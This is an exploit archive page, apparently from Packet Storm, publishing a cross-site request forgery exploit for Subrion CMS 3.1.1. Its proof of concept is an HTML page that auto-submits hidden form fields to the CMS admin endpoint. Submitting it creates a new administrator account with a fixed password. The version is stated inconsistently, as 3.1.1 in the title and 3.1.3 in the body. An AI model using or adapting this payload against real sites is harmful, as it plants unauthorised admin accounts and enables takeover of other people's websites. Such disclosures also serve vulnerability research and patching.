what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Subrion 3.1.1 Cross Site Request Forgery

Subrion 3.1.1 Cross Site Request Forgery
Posted Feb 22, 2014
Authored by TUNISIAN CYBER

Subrion CMS 3.1.1 cross site request forgery exploit that adds an administrator.

tags | exploit, csrf
SHA-256 | 196ea2067b8fb16e7b8e88f1764e7c86b7d128377d20d4d793de983e73a095dc

Subrion 3.1.1 Cross Site Request Forgery

Change Mirror Download
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability
[+] Date: 22-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://www.subrion.com/product.html
[+] Friendly Sites: na3il.com,th3-creative.com

1.OVERVIEW:
Subrion suffers from a Cross-Site Request Forgery (CSRF) Vulnerability.

2.Version:
v3.1.3

3.Background:
Subrion CMS is a stand-alone PHP content management system that is very easy to use.
It comes with a ton of great features including full source editing,
per-page permissions, user activity monitoring, and much more.
Subrion CMS unites the functionality of articles script,
auto classifieds script, realty classifieds script, web directory script, and yellow pages script all in one package.
http://www.subrion.com/product.html


4.Proof Of Concept:
<html>
<head>
</head>
<body><center><br/>
<form method="post" action="http://127.0.0.1/subrion/admin/members/add/" onsubmit="forge()">
<input type="hidden" name="username" value="admin2" />
<input type="hidden" name="fullname" value="TUNISIAN CYBER" />
<input type="hidden" name="email" value="g4k@hotmail.es" />
<input type="hidden" name="_password" value="checkmate" />
<input type="hidden" name="_password2" value="checkmate" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="csrf" value="click Me!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("csrf").click();}
</script>
</body>
</html>



5.Solution(s):
NOT FIXED

6.TIME-LINE:
2014-02-20: Vulnerability was discovered.
2014-02-21: No Reply
2014-02-22: No Reply
2014-02-22: Vulnerability released



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close